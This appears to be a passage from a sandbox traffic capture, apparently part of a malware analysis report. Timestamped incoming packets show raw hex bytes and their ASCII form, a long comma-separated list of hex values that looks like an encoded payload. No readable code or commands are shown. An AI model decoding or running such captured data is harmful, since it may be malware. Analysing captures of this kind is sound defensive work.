2023-03-24 00:27:19 UTC	1713	IN	Data Raw: 2c 36 34 2c 36 37 2c 63 64 2c 64 36 2c 66 33 2c 62 30 2c 63 65 2c 31 33 32 2c 65 63 2c 38 38 2c 37 33 2c 65 34 2c 38 36 2c 31 35 35 2c 31 34 32 2c 65 36 2c 33 30 2c 31 33 65 2c 39 37 2c 31 30 63 2c 31 30 34 2c 37 37 2c 38 32 2c 31 30 30 2c 38 66 2c 31 34 63 2c 61 65 2c 31 30 37 2c 64 37 2c 64 31 2c 36 65 2c 37 65 2c 36 63 2c 31 34 65 2c 31 33 66 2c 31 35 31 2c 31 32 31 2c 31 31 34 2c 31 36 33 2c 37 38 2c 61 32 2c 31 31 64 2c 31 32 37 2c 37 64 2c 62 65 2c 63 36 2c 62 39 2c 61 34 2c 65 38 2c 31 30 32 2c 31 32 66 2c 36 61 2c 64 62 2c 64 65 2c 31 31 37 2c 64 32 2c 39 32 2c 36 30 2c 63 35 2c 31 30 36 2c 65 34 2c 31 32 31 2c 66 32 2c 61 39 2c 31 31 63 2c 62 32 2c 34 66 2c 65 34 2c 31 31 33 2c 61 32 2c 31 31 36 2c 39 33 2c 31 35 33 2c 61 31 2c 31 30 66 2c 37 38 Data Ascii: ,64,67,cd,d6,f3,b0,ce,132,ec,88,73,e4,86,155,142,e6,30,13e,97,10c,104,77,82,100,8f,14c,ae,107,d7,d1,6e,7e,6c,14e,13f,151,121,114,163,78,a2,11d,127,7d,be,c6,b9,a4,e8,102,12f,6a,db,de,117,d2,92,60,c5,106,e4,121,f2,a9,11c,b2,4f,e4,113,a2,116,93,153,a1,10f,78
2023-03-24 00:27:19 UTC	1729	IN	Data Raw: 31 31 65 2c 31 31 35 2c 61 63 2c 66 33 2c 31 33 36 2c 31 33 35 2c 31 34 65 2c 31 30 61 2c 37 38 2c 31 33 34 2c 37 61 2c 31 31 38 2c 39 38 2c 62 66 2c 62 36 2c 62 35 2c 38 31 2c 62 36 2c 65 39 2c 38 62 2c 61 65 2c 65 62 2c 66 36 2c 65 62 2c 63 62 2c 61 63 2c 35 35 2c 39 65 2c 35 38 2c 65 31 2c 37 32 2c 37 30 2c 62 62 2c 62 61 2c 62 36 2c 31 30 36 2c 37 65 2c 63 64 2c 31 30 38 2c 31 33 61 2c 35 65 2c 38 66 2c 64 37 2c 65 62 2c 31 31 34 2c 38 38 2c 37 61 2c 31 32 66 2c 39 30 2c 61 33 2c 31 31 39 2c 39 38 2c 63 31 2c 35 37 2c 31 30 65 2c 31 32 36 2c 38 65 2c 65 36 2c 33 35 2c 31 34 35 2c 63 63 2c 65 36 2c 64 61 2c 31 34 65 2c 31 31 39 2c 38 33 2c 31 33 31 2c 31 33 38 2c 62 30 2c 31 37 35 2c 63 66 2c 31 35 32 2c 35 39 2c 63 64 2c 38 64 2c 31 30 39 2c 66 62 2c Data Ascii: 11e,115,ac,f3,136,135,14e,10a,78,134,7a,118,98,bf,b6,b5,81,b6,e9,8b,ae,eb,f6,eb,cb,ac,55,9e,58,e1,72,70,bb,ba,b6,106,7e,cd,108,13a,5e,8f,d7,eb,114,88,7a,12f,90,a3,119,98,c1,57,10e,126,8e,e6,35,145,cc,e6,da,14e,119,83,131,138,b0,175,cf,152,59,cd,8d,109,fb,
2023-03-24 00:27:19 UTC	1745	IN	Data Raw: 2c 39 65 2c 35 35 2c 36 37 2c 31 33 35 2c 36 38 2c 38 62 2c 36 30 2c 31 35 65 2c 31 31 61 2c 31 30 36 2c 37 35 2c 35 39 2c 38 37 2c 39 37 2c 66 63 2c 66 33 2c 31 30 34 2c 39 33 2c 31 30 33 2c 61 65 2c 63 31 2c 36 65 2c 62 65 2c 37 31 2c 31 35 37 2c 34 31 2c 64 63 2c 38 38 2c 31 30 63 2c 61 62 2c 65 36 2c 65 34 2c 31 33 38 2c 31 33 62 2c 35 37 2c 64 36 2c 36 33 2c 35 39 2c 38 38 2c 39 66 2c 64 34 2c 65 63 2c 36 66 2c 31 32 30 2c 31 32 65 2c 39 30 2c 31 37 35 2c 31 33 31 2c 37 39 2c 31 34 36 2c 64 64 2c 31 30 33 2c 61 38 2c 37 32 2c 62 64 2c 39 62 2c 38 36 2c 63 30 2c 31 36 66 2c 39 39 2c 31 31 37 2c 36 31 2c 31 31 39 2c 39 62 2c 65 31 2c 31 33 31 2c 39 34 2c 31 31 65 2c 31 32 35 2c 39 61 2c 63 64 2c 31 35 66 2c 37 37 2c 31 32 61 2c 37 64 2c 31 32 31 2c 65 Data Ascii: ,9e,55,67,135,68,8b,60,15e,11a,106,75,59,87,97,fc,f3,104,93,103,ae,c1,6e,be,71,157,41,dc,88,10c,ab,e6,e4,138,13b,57,d6,63,59,88,9f,d4,ec,6f,120,12e,90,175,131,79,146,dd,103,a8,72,bd,9b,86,c0,16f,99,117,61,119,9b,e1,131,94,11e,125,9a,cd,15f,77,12a,7d,121,e
2023-03-24 00:27:19 UTC	1761	IN	Data Raw: 31 2c 39 36 2c 38 31 2c 66 35 2c 64 64 2c 65 37 2c 31 31 30 2c 38 39 2c 34 62 2c 64 34 2c 31 30 63 2c 39 36 2c 64 62 2c 63 34 2c 36 37 2c 65 32 2c 35 38 2c 31 35 33 2c 31 31 30 2c 33 63 2c 61 38 2c 31 30 36 2c 63 33 2c 31 33 66 2c 31 32 32 2c 31 32 64 2c 31 36 39 2c 33 62 2c 61 64 2c 66 64 2c 39 62 2c 39 61 2c 38 33 2c 31 31 35 2c 62 64 2c 66 61 2c 31 30 32 2c 38 30 2c 39 31 2c 31 33 37 2c 63 64 2c 31 30 36 2c 36 36 2c 35 66 2c 31 34 65 2c 31 35 31 2c 65 61 2c 31 30 38 2c 33 36 2c 39 64 2c 38 39 2c 39 37 2c 31 32 31 2c 62 31 2c 31 35 65 2c 64 39 2c 36 35 2c 35 66 2c 63 30 2c 39 62 2c 62 63 2c 35 66 2c 39 34 2c 37 66 2c 31 30 64 2c 39 33 2c 61 66 2c 31 33 63 2c 31 33 37 2c 39 64 2c 31 31 35 2c 31 31 32 2c 61 34 2c 31 32 39 2c 38 31 2c 66 65 2c 35 61 2c 31 Data Ascii: 1,96,81,f5,dd,e7,110,89,4b,d4,10c,96,db,c4,67,e2,58,153,110,3c,a8,106,c3,13f,122,12d,169,3b,ad,fd,9b,9a,83,115,bd,fa,102,80,91,137,cd,106,66,5f,14e,151,ea,108,36,9d,89,97,121,b1,15e,d9,65,5f,c0,9b,bc,5f,94,7f,10d,93,af,13c,137,9d,115,112,a4,129,81,fe,5a,1
2023-03-24 00:27:19 UTC	1777	IN	Data Raw: 2c 35 38 2c 31 30 34 2c 31 33 64 2c 39 66 2c 35 37 2c 38 37 2c 63 31 2c 31 30 34 2c 33 64 2c 39 39 2c 31 33 66 2c 65 32 2c 31 34 38 2c 61 36 2c 31 30 64 2c 66 30 2c 63 33 2c 31 32 61 2c 37 39 2c 38 66 2c 31 31 66 2c 31 35 30 2c 31 35 65 2c 64 64 2c 37 62 2c 63 38 2c 31 30 33 2c 62 37 2c 37 39 2c 37 66 2c 37 39 2c 35 65 2c 31 33 36 2c 38 64 2c 63 33 2c 39 66 2c 62 36 2c 61 64 2c 31 33 37 2c 31 35 66 2c 35 63 2c 39 32 2c 31 30 36 2c 66 31 2c 66 65 2c 39 61 2c 37 33 2c 31 33 34 2c 35 36 2c 34 65 2c 64 64 2c 35 31 2c 37 30 2c 61 33 2c 31 35 66 2c 62 33 2c 61 66 2c 65 63 2c 61 35 2c 31 35 34 2c 66 63 2c 63 62 2c 36 64 2c 63 62 2c 62 61 2c 64 34 2c 31 33 38 2c 31 32 64 2c 65 38 2c 31 33 33 2c 31 35 36 2c 31 36 38 2c 36 63 2c 31 31 62 2c 31 34 61 2c 31 30 64 2c Data Ascii: ,58,104,13d,9f,57,87,c1,104,3d,99,13f,e2,148,a6,10d,f0,c3,12a,79,8f,11f,150,15e,dd,7b,c8,103,b7,79,7f,79,5e,136,8d,c3,9f,b6,ad,137,15f,5c,92,106,f1,fe,9a,73,134,56,4e,dd,51,70,a3,15f,b3,af,ec,a5,154,fc,cb,6d,cb,ba,d4,138,12d,e8,133,156,168,6c,11b,14a,10d,
2023-03-24 00:27:19 UTC	1793	IN	Data Raw: 31 2c 38 36 2c 38 32 2c 61 63 2c 37 61 2c 31 32 62 2c 31 32 34 2c 66 37 2c 64 62 2c 38 32 2c 31 31 37 2c 31 32 38 2c 31 35 66 2c 65 38 2c 36 36 2c 62 39 2c 31 37 33 2c 31 34 31 2c 65 34 2c 63 66 2c 36 33 2c 31 32 36 2c 63 33 2c 66 65 2c 39 66 2c 31 37 37 2c 31 35 64 2c 65 33 2c 39 63 2c 66 34 2c 37 63 2c 64 39 2c 38 65 2c 66 62 2c 61 32 2c 64 62 2c 38 34 2c 61 38 2c 31 32 63 2c 31 30 35 2c 61 63 2c 63 35 2c 39 36 2c 36 37 2c 63 63 2c 66 37 2c 39 64 2c 65 31 2c 31 31 32 2c 65 63 2c 31 30 36 2c 31 34 32 2c 39 39 2c 31 32 37 2c 61 61 2c 64 38 2c 31 32 36 2c 65 38 2c 62 38 2c 31 34 64 2c 38 62 2c 37 64 2c 31 35 32 2c 61 30 2c 31 33 66 2c 36 35 2c 31 34 37 2c 63 39 2c 34 38 2c 35 33 2c 66 35 2c 38 65 2c 64 34 2c 37 37 2c 37 61 2c 64 32 2c 62 32 2c 31 33 37 2c Data Ascii: 1,86,82,ac,7a,12b,124,f7,db,82,117,128,15f,e8,66,b9,173,141,e4,cf,63,126,c3,fe,9f,177,15d,e3,9c,f4,7c,d9,8e,fb,a2,db,84,a8,12c,105,ac,c5,96,67,cc,f7,9d,e1,112,ec,106,142,99,127,aa,d8,126,e8,b8,14d,8b,7d,152,a0,13f,65,147,c9,48,53,f5,8e,d4,77,7a,d2,b2,137,
2023-03-24 00:27:19 UTC	1809	IN	Data Raw: 32 2c 65 35 2c 66 30 2c 66 65 2c 36 32 2c 63 61 2c 35 63 2c 39 33 2c 31 31 39 2c 31 32 62 2c 31 30 39 2c 64 39 2c 31 34 62 2c 39 33 2c 35 61 2c 31 31 31 2c 31 36 34 2c 38 32 2c 66 35 2c 64 32 2c 31 34 64 2c 62 63 2c 31 33 65 2c 63 35 2c 39 33 2c 62 31 2c 31 34 33 2c 36 35 2c 63 39 2c 31 31 33 2c 39 34 2c 65 33 2c 65 34 2c 38 35 2c 31 36 66 2c 62 61 2c 66 33 2c 31 31 63 2c 34 64 2c 61 35 2c 62 31 2c 36 63 2c 39 65 2c 31 31 30 2c 61 65 2c 65 65 2c 31 32 61 2c 62 32 2c 65 63 2c 65 66 2c 66 37 2c 31 30 38 2c 31 32 61 2c 39 36 2c 65 34 2c 36 31 2c 63 62 2c 35 62 2c 62 31 2c 35 63 2c 63 30 2c 62 63 2c 37 34 2c 64 35 2c 64 65 2c 64 66 2c 61 63 2c 31 32 37 2c 31 34 37 2c 64 64 2c 36 32 2c 34 31 2c 31 34 66 2c 35 36 2c 64 63 2c 62 33 2c 31 33 35 2c 65 39 2c 62 39 Data Ascii: 2,e5,f0,fe,62,ca,5c,93,119,12b,109,d9,14b,93,5a,111,164,82,f5,d2,14d,bc,13e,c5,93,b1,143,65,c9,113,94,e3,e4,85,16f,ba,f3,11c,4d,a5,b1,6c,9e,110,ae,ee,12a,b2,ec,ef,f7,108,12a,96,e4,61,cb,5b,b1,5c,c0,bc,74,d5,de,df,ac,127,147,dd,62,41,14f,56,dc,b3,135,e9,b9
2023-03-24 00:27:19 UTC	1825	IN	Data Raw: 64 32 2c 64 32 2c 63 35 2c 64 30 2c 31 36 31 2c 31 32 64 2c 31 30 30 2c 61 30 2c 63 62 2c 64 32 2c 31 32 65 2c 62 62 2c 62 34 2c 63 34 2c 39 31 2c 31 36 31 2c 65 34 2c 38 63 2c 64 30 2c 31 31 39 2c 36 30 2c 31 34 32 2c 31 35 39 2c 63 62 2c 62 32 2c 39 30 2c 63 34 2c 36 31 2c 35 38 2c 61 32 2c 31 32 39 2c 66 38 2c 37 38 2c 64 31 2c 31 32 66 2c 31 34 37 2c 66 34 2c 31 37 30 2c 62 39 2c 62 36 2c 31 32 61 2c 36 64 2c 37 37 2c 62 63 2c 31 34 34 2c 39 34 2c 31 34 34 2c 66 65 2c 63 63 2c 31 30 30 2c 36 38 2c 66 33 2c 63 38 2c 31 32 61 2c 31 30 35 2c 39 38 2c 31 32 36 2c 33 33 2c 64 65 2c 37 30 2c 37 31 2c 36 31 2c 38 30 2c 63 33 2c 62 37 2c 61 31 2c 61 35 2c 65 37 2c 66 31 2c 31 32 33 2c 31 31 31 2c 65 30 2c 37 39 2c 31 32 37 2c 31 33 64 2c 64 34 2c 31 34 30 2c Data Ascii: d2,d2,c5,d0,161,12d,100,a0,cb,d2,12e,bb,b4,c4,91,161,e4,8c,d0,119,60,142,159,cb,b2,90,c4,61,58,a2,129,f8,78,d1,12f,147,f4,170,b9,b6,12a,6d,77,bc,144,94,144,fe,cc,100,68,f3,c8,12a,105,98,126,33,de,70,71,61,80,c3,b7,a1,a5,e7,f1,123,111,e0,79,127,13d,d4,140,
2023-03-24 00:27:19 UTC	1841	IN	Data Raw: 35 2c 64 30 2c 64 36 2c 65 30 2c 62 35 2c 31 33 32 2c 66 30 2c 33 38 2c 31 34 35 2c 38 36 2c 31 32 64 2c 38 30 2c 66 34 2c 63 37 2c 38 31 2c 31 32 33 2c 31 32 35 2c 63 34 2c 66 65 2c 31 33 35 2c 61 31 2c 64 35 2c 31 34 36 2c 38 66 2c 64 30 2c 37 62 2c 64 65 2c 31 34 37 2c 39 62 2c 39 37 2c 36 33 2c 31 36 39 2c 31 32 30 2c 38 37 2c 31 33 64 2c 38 33 2c 64 39 2c 37 35 2c 62 37 2c 33 66 2c 31 35 30 2c 61 34 2c 31 33 34 2c 64 30 2c 31 34 62 2c 31 32 64 2c 37 63 2c 38 64 2c 31 33 65 2c 64 63 2c 31 30 63 2c 31 31 37 2c 61 36 2c 64 39 2c 61 35 2c 65 35 2c 65 37 2c 37 34 2c 65 63 2c 31 31 35 2c 31 30 64 2c 37 30 2c 39 66 2c 38 30 2c 37 38 2c 38 61 2c 38 61 2c 31 33 64 2c 39 39 2c 62 66 2c 31 32 37 2c 33 33 2c 37 36 2c 34 39 2c 39 61 2c 31 34 61 2c 31 34 37 2c 31 Data Ascii: 5,d0,d6,e0,b5,132,f0,38,145,86,12d,80,f4,c7,81,123,125,c4,fe,135,a1,d5,146,8f,d0,7b,de,147,9b,97,63,169,120,87,13d,83,d9,75,b7,3f,150,a4,134,d0,14b,12d,7c,8d,13e,dc,10c,117,a6,d9,a5,e5,e7,74,ec,115,10d,70,9f,80,78,8a,8a,13d,99,bf,127,33,76,49,9a,14a,147,1
2023-03-24 00:27:19 UTC	1857	IN	Data Raw: 31 30 61 2c 65 63 2c 61 62 2c 31 35 35 2c 31 35 35 2c 35 30 2c 31 32 66 2c 38 31 2c 31 34 35 2c 66 62 2c 36 30 2c 39 31 2c 38 32 2c 37 33 2c 35 33 2c 66 39 2c 31 30 38 2c 31 32 34 2c 39 37 2c 66 39 2c 66 37 2c 38 39 2c 66 35 2c 38 32 2c 31 31 34 2c 31 33 37 2c 38 32 2c 37 31 2c 31 30 66 2c 34 61 2c 37 35 2c 31 36 61 2c 31 36 31 2c 31 31 62 2c 34 35 2c 31 35 30 2c 65 33 2c 31 32 35 2c 39 39 2c 65 35 2c 38 66 2c 64 39 2c 31 31 65 2c 36 66 2c 63 36 2c 31 31 62 2c 62 31 2c 65 31 2c 38 66 2c 62 63 2c 31 33 61 2c 65 37 2c 35 39 2c 36 30 2c 31 30 64 2c 37 39 2c 62 33 2c 66 34 2c 66 63 2c 36 65 2c 37 62 2c 61 37 2c 38 33 2c 64 35 2c 65 31 2c 66 36 2c 31 32 61 2c 61 65 2c 37 30 2c 38 62 2c 66 39 2c 31 33 38 2c 31 31 33 2c 31 30 34 2c 64 37 2c 38 33 2c 31 33 30 2c Data Ascii: 10a,ec,ab,155,155,50,12f,81,145,fb,60,91,82,73,53,f9,108,124,97,f9,f7,89,f5,82,114,137,82,71,10f,4a,75,16a,161,11b,45,150,e3,125,99,e5,8f,d9,11e,6f,c6,11b,b1,e1,8f,bc,13a,e7,59,60,10d,79,b3,f4,fc,6e,7b,a7,83,d5,e1,f6,12a,ae,70,8b,f9,138,113,104,d7,83,130,
2023-03-24 00:27:19 UTC	1873	IN	Data Raw: 2c 38 66 2c 31 30 31 2c 61 62 2c 39 32 2c 62 66 2c 39 39 2c 64 36 2c 31 31 30 2c 31 30 62 2c 36 36 2c 31 33 38 2c 33 64 2c 31 33 35 2c 64 66 2c 35 36 2c 31 32 66 2c 31 30 65 2c 65 62 2c 62 63 2c 31 31 64 2c 31 31 63 2c 39 39 2c 31 31 30 2c 35 63 2c 38 62 2c 36 64 2c 31 35 34 2c 63 34 2c 35 37 2c 64 62 2c 31 35 33 2c 31 34 65 2c 64 35 2c 35 38 2c 62 61 2c 31 30 61 2c 34 63 2c 66 65 2c 39 32 2c 37 63 2c 31 35 33 2c 61 39 2c 31 32 37 2c 31 30 32 2c 61 32 2c 31 32 34 2c 62 37 2c 31 34 36 2c 63 66 2c 31 33 64 2c 31 32 38 2c 31 33 62 2c 38 33 2c 31 33 61 2c 61 61 2c 31 30 30 2c 39 30 2c 61 61 2c 31 34 62 2c 61 34 2c 63 39 2c 31 33 64 2c 36 37 2c 63 32 2c 65 37 2c 63 36 2c 63 62 2c 38 39 2c 31 32 35 2c 31 30 31 2c 31 32 30 2c 31 31 62 2c 38 32 2c 63 61 2c 62 38 Data Ascii: ,8f,101,ab,92,bf,99,d6,110,10b,66,138,3d,135,df,56,12f,10e,eb,bc,11d,11c,99,110,5c,8b,6d,154,c4,57,db,153,14e,d5,58,ba,10a,4c,fe,92,7c,153,a9,127,102,a2,124,b7,146,cf,13d,128,13b,83,13a,aa,100,90,aa,14b,a4,c9,13d,67,c2,e7,c6,cb,89,125,101,120,11b,82,ca,b8
2023-03-24 00:27:19 UTC	1889	IN	Data Raw: 36 66 2c 31 32 36 2c 39 37 2c 65 39 2c 62 63 2c 31 32 38 2c 31 33 35 2c 62 66 2c 37 61 2c 64 32 2c 65 65 2c 31 34 62 2c 62 64 2c 31 31 37 2c 36 38 2c 39 30 2c 31 31 31 2c 35 33 2c 36 34 2c 31 31 35 2c 61 65 2c 31 34 32 2c 66 66 2c 61 64 2c 66 64 2c 31 37 32 2c 66 37 2c 31 30 31 2c 37 37 2c 61 65 2c 31 32 64 2c 31 31 66 2c 31 31 66 2c 31 32 32 2c 31 34 34 2c 31 32 36 2c 65 65 2c 31 32 34 2c 66 31 2c 63 38 2c 37 64 2c 64 34 2c 65 33 2c 64 37 2c 62 32 2c 62 30 2c 35 65 2c 36 33 2c 37 61 2c 39 33 2c 31 32 39 2c 31 31 38 2c 62 62 2c 61 31 2c 39 34 2c 61 63 2c 31 30 64 2c 38 38 2c 31 34 62 2c 31 32 31 2c 31 30 36 2c 31 33 35 2c 31 34 65 2c 35 63 2c 64 37 2c 64 65 2c 31 30 64 2c 64 35 2c 62 65 2c 35 66 2c 31 33 38 2c 39 38 2c 36 65 2c 37 35 2c 36 64 2c 65 36 2c Data Ascii: 6f,126,97,e9,bc,128,135,bf,7a,d2,ee,14b,bd,117,68,90,111,53,64,115,ae,142,ff,ad,fd,172,f7,101,77,ae,12d,11f,11f,122,144,126,ee,124,f1,c8,7d,d4,e3,d7,b2,b0,5e,63,7a,93,129,118,bb,a1,94,ac,10d,88,14b,121,106,135,14e,5c,d7,de,10d,d5,be,5f,138,98,6e,75,6d,e6,
2023-03-24 00:27:19 UTC	1905	IN	Data Raw: 2c 64 36 2c 65 32 2c 31 31 62 2c 31 32 61 2c 35 66 2c 65 31 2c 37 34 2c 38 65 2c 64 33 2c 65 37 2c 39 31 2c 61 36 2c 65 63 2c 61 31 2c 35 36 2c 31 34 65 2c 65 66 2c 31 35 33 2c 37 63 2c 31 32 66 2c 61 61 2c 65 66 2c 64 39 2c 36 31 2c 31 30 38 2c 37 39 2c 63 31 2c 36 65 2c 38 31 2c 36 35 2c 31 31 31 2c 31 34 34 2c 31 33 61 2c 36 64 2c 35 34 2c 38 64 2c 31 32 33 2c 37 64 2c 31 34 35 2c 61 62 2c 31 34 38 2c 31 34 64 2c 39 64 2c 31 35 34 2c 31 34 32 2c 36 65 2c 31 32 38 2c 35 62 2c 31 32 65 2c 36 62 2c 37 30 2c 66 34 2c 31 31 63 2c 66 37 2c 62 64 2c 61 34 2c 65 39 2c 31 35 39 2c 62 34 2c 31 32 63 2c 61 30 2c 37 66 2c 39 39 2c 31 34 66 2c 31 30 34 2c 36 63 2c 31 31 61 2c 66 36 2c 31 33 65 2c 39 36 2c 61 39 2c 31 30 64 2c 31 30 64 2c 38 66 2c 64 66 2c 31 34 64 Data Ascii: ,d6,e2,11b,12a,5f,e1,74,8e,d3,e7,91,a6,ec,a1,56,14e,ef,153,7c,12f,aa,ef,d9,61,108,79,c1,6e,81,65,111,144,13a,6d,54,8d,123,7d,145,ab,148,14d,9d,154,142,6e,128,5b,12e,6b,70,f4,11c,f7,bd,a4,e9,159,b4,12c,a0,7f,99,14f,104,6c,11a,f6,13e,96,a9,10d,10d,8f,df,14d
2023-03-24 00:27:19 UTC	1921	IN	Data Raw: 2c 31 34 35 2c 39 37 2c 39 34 2c 33 34 2c 31 34 35 2c 31 32 32 2c 31 34 64 2c 31 30 32 2c 65 62 2c 31 35 35 2c 61 30 2c 31 33 35 2c 37 62 2c 66 32 2c 31 32 64 2c 65 66 2c 63 32 2c 31 32 62 2c 61 65 2c 31 32 66 2c 37 65 2c 37 34 2c 34 63 2c 31 32 39 2c 39 64 2c 31 33 62 2c 37 38 2c 65 32 2c 39 65 2c 65 62 2c 63 31 2c 31 34 32 2c 35 62 2c 35 65 2c 35 35 2c 62 61 2c 35 65 2c 65 36 2c 39 66 2c 31 35 61 2c 31 34 33 2c 37 62 2c 35 36 2c 61 31 2c 66 62 2c 62 38 2c 37 63 2c 31 32 65 2c 61 37 2c 31 31 64 2c 31 31 38 2c 33 34 2c 31 32 62 2c 64 32 2c 31 33 36 2c 66 30 2c 64 34 2c 63 66 2c 31 32 38 2c 31 30 32 2c 64 36 2c 31 34 65 2c 61 35 2c 65 66 2c 31 32 33 2c 31 34 34 2c 31 33 63 2c 38 34 2c 61 32 2c 31 31 62 2c 66 37 2c 31 30 34 2c 31 35 39 2c 65 39 2c 36 36 2c Data Ascii: ,145,97,94,34,145,122,14d,102,eb,155,a0,135,7b,f2,12d,ef,c2,12b,ae,12f,7e,74,4c,129,9d,13b,78,e2,9e,eb,c1,142,5b,5e,55,ba,5e,e6,9f,15a,143,7b,56,a1,fb,b8,7c,12e,a7,11d,118,34,12b,d2,136,f0,d4,cf,128,102,d6,14e,a5,ef,123,144,13c,84,a2,11b,f7,104,159,e9,66,
2023-03-24 00:27:19 UTC	1937	IN	Data Raw: 32 2c 31 30 64 2c 35 65 2c 31 33 38 2c 31 31 64 2c 63 31 2c 37 66 2c 64 37 2c 31 35 34 2c 31 32 62 2c 39 65 2c 36 64 2c 63 36 2c 63 34 2c 61 30 2c 61 62 2c 64 64 2c 36 37 2c 65 30 2c 38 62 2c 31 34 63 2c 66 33 2c 39 30 2c 31 31 37 2c 33 32 2c 31 31 39 2c 65 31 2c 62 36 2c 61 66 2c 39 35 2c 36 31 2c 39 37 2c 31 32 32 2c 39 38 2c 65 37 2c 31 32 39 2c 37 39 2c 65 35 2c 31 30 61 2c 37 30 2c 35 39 2c 31 31 38 2c 31 30 65 2c 39 33 2c 39 64 2c 64 38 2c 39 64 2c 36 65 2c 63 37 2c 31 34 38 2c 31 33 39 2c 38 64 2c 37 35 2c 63 30 2c 37 62 2c 61 65 2c 38 36 2c 39 33 2c 65 61 2c 31 36 32 2c 39 64 2c 37 33 2c 39 63 2c 31 33 33 2c 37 61 2c 61 39 2c 66 64 2c 63 37 2c 38 34 2c 63 33 2c 31 30 38 2c 37 66 2c 39 35 2c 31 31 31 2c 31 35 39 2c 31 32 33 2c 31 30 37 2c 62 30 2c Data Ascii: 2,10d,5e,138,11d,c1,7f,d7,154,12b,9e,6d,c6,c4,a0,ab,dd,67,e0,8b,14c,f3,90,117,32,119,e1,b6,af,95,61,97,122,98,e7,129,79,e5,10a,70,59,118,10e,93,9d,d8,9d,6e,c7,148,139,8d,75,c0,7b,ae,86,93,ea,162,9d,73,9c,133,7a,a9,fd,c7,84,c3,108,7f,95,111,159,123,107,b0,
2023-03-24 00:27:19 UTC	1953	IN	Data Raw: 34 2c 37 34 2c 31 30 37 2c 31 34 66 2c 62 33 2c 35 37 2c 35 63 2c 31 33 34 2c 62 64 2c 31 31 30 2c 65 35 2c 63 65 2c 38 38 2c 38 35 2c 34 38 2c 65 66 2c 31 36 39 2c 37 30 2c 62 63 2c 65 32 2c 65 33 2c 31 35 66 2c 64 31 2c 66 65 2c 31 33 30 2c 31 30 32 2c 31 34 64 2c 61 39 2c 62 37 2c 39 35 2c 39 66 2c 64 32 2c 36 30 2c 31 35 33 2c 31 30 34 2c 36 65 2c 31 31 30 2c 36 37 2c 63 64 2c 31 31 36 2c 31 35 37 2c 36 37 2c 31 34 37 2c 66 62 2c 63 38 2c 31 34 38 2c 61 64 2c 36 34 2c 64 34 2c 65 34 2c 31 35 36 2c 38 64 2c 39 33 2c 62 62 2c 39 34 2c 31 34 37 2c 66 65 2c 31 37 32 2c 31 31 32 2c 38 32 2c 66 65 2c 31 35 37 2c 36 64 2c 36 32 2c 31 31 31 2c 39 37 2c 31 32 38 2c 66 30 2c 38 33 2c 61 36 2c 38 61 2c 31 35 32 2c 31 34 33 2c 66 38 2c 64 31 2c 65 39 2c 34 38 2c Data Ascii: 4,74,107,14f,b3,57,5c,134,bd,110,e5,ce,88,85,48,ef,169,70,bc,e2,e3,15f,d1,fe,130,102,14d,a9,b7,95,9f,d2,60,153,104,6e,110,67,cd,116,157,67,147,fb,c8,148,ad,64,d4,e4,156,8d,93,bb,94,147,fe,172,112,82,fe,157,6d,62,111,97,128,f0,83,a6,8a,152,143,f8,d1,e9,48,
2023-03-24 00:27:19 UTC	1969	IN	Data Raw: 35 62 2c 31 31 37 2c 64 39 2c 65 30 2c 39 31 2c 37 63 2c 31 32 32 2c 31 35 31 2c 64 64 2c 38 33 2c 62 64 2c 65 32 2c 31 30 35 2c 64 62 2c 39 35 2c 31 31 61 2c 31 30 39 2c 66 38 2c 64 61 2c 34 61 2c 38 65 2c 61 35 2c 31 31 66 2c 37 61 2c 63 30 2c 31 34 63 2c 37 38 2c 35 62 2c 31 31 30 2c 31 30 30 2c 31 36 33 2c 31 31 39 2c 38 39 2c 31 30 38 2c 31 30 38 2c 31 31 33 2c 36 65 2c 36 65 2c 62 37 2c 38 36 2c 63 65 2c 66 30 2c 31 31 66 2c 64 62 2c 62 66 2c 62 35 2c 36 35 2c 31 30 33 2c 61 34 2c 61 35 2c 36 36 2c 37 39 2c 31 30 38 2c 34 37 2c 61 36 2c 37 63 2c 38 38 2c 63 31 2c 61 66 2c 62 33 2c 37 35 2c 66 64 2c 31 31 34 2c 64 62 2c 63 64 2c 31 31 35 2c 66 33 2c 32 65 2c 63 34 2c 36 32 2c 64 33 2c 63 33 2c 31 35 37 2c 31 34 64 2c 39 61 2c 31 31 37 2c 65 61 2c 61 Data Ascii: 5b,117,d9,e0,91,7c,122,151,dd,83,bd,e2,105,db,95,11a,109,f8,da,4a,8e,a5,11f,7a,c0,14c,78,5b,110,100,163,119,89,108,108,113,6e,6e,b7,86,ce,f0,11f,db,bf,b5,65,103,a4,a5,66,79,108,47,a6,7c,88,c1,af,b3,75,fd,114,db,cd,115,f3,2e,c4,62,d3,c3,157,14d,9a,117,ea,a
2023-03-24 00:27:19 UTC	1985	IN	Data Raw: 63 38 2c 31 31 63 2c 31 31 63 2c 39 66 2c 37 35 2c 37 32 2c 38 39 2c 31 33 31 2c 31 35 36 2c 62 38 2c 31 33 30 2c 38 65 2c 31 34 35 2c 31 31 61 2c 31 31 66 2c 31 32 38 2c 31 32 66 2c 31 33 38 2c 64 66 2c 65 38 2c 34 34 2c 61 65 2c 61 64 2c 31 32 33 2c 37 32 2c 37 30 2c 31 33 38 2c 36 31 2c 65 37 2c 64 30 2c 65 61 2c 39 35 2c 62 61 2c 62 64 2c 64 38 2c 37 39 2c 31 32 62 2c 38 63 2c 61 36 2c 31 32 37 2c 31 35 35 2c 31 30 33 2c 31 32 37 2c 31 35 31 2c 39 34 2c 37 35 2c 62 62 2c 65 65 2c 39 63 2c 61 63 2c 38 61 2c 31 33 62 2c 38 38 2c 31 36 65 2c 62 37 2c 61 66 2c 64 61 2c 35 63 2c 64 31 2c 31 35 31 2c 39 31 2c 31 30 63 2c 37 62 2c 66 36 2c 31 31 32 2c 31 35 36 2c 63 31 2c 31 31 61 2c 61 65 2c 65 34 2c 63 30 2c 31 31 33 2c 63 65 2c 31 32 66 2c 66 63 2c 31 30 Data Ascii: c8,11c,11c,9f,75,72,89,131,156,b8,130,8e,145,11a,11f,128,12f,138,df,e8,44,ae,ad,123,72,70,138,61,e7,d0,ea,95,ba,bd,d8,79,12b,8c,a6,127,155,103,127,151,94,75,bb,ee,9c,ac,8a,13b,88,16e,b7,af,da,5c,d1,151,91,10c,7b,f6,112,156,c1,11a,ae,e4,c0,113,ce,12f,fc,10
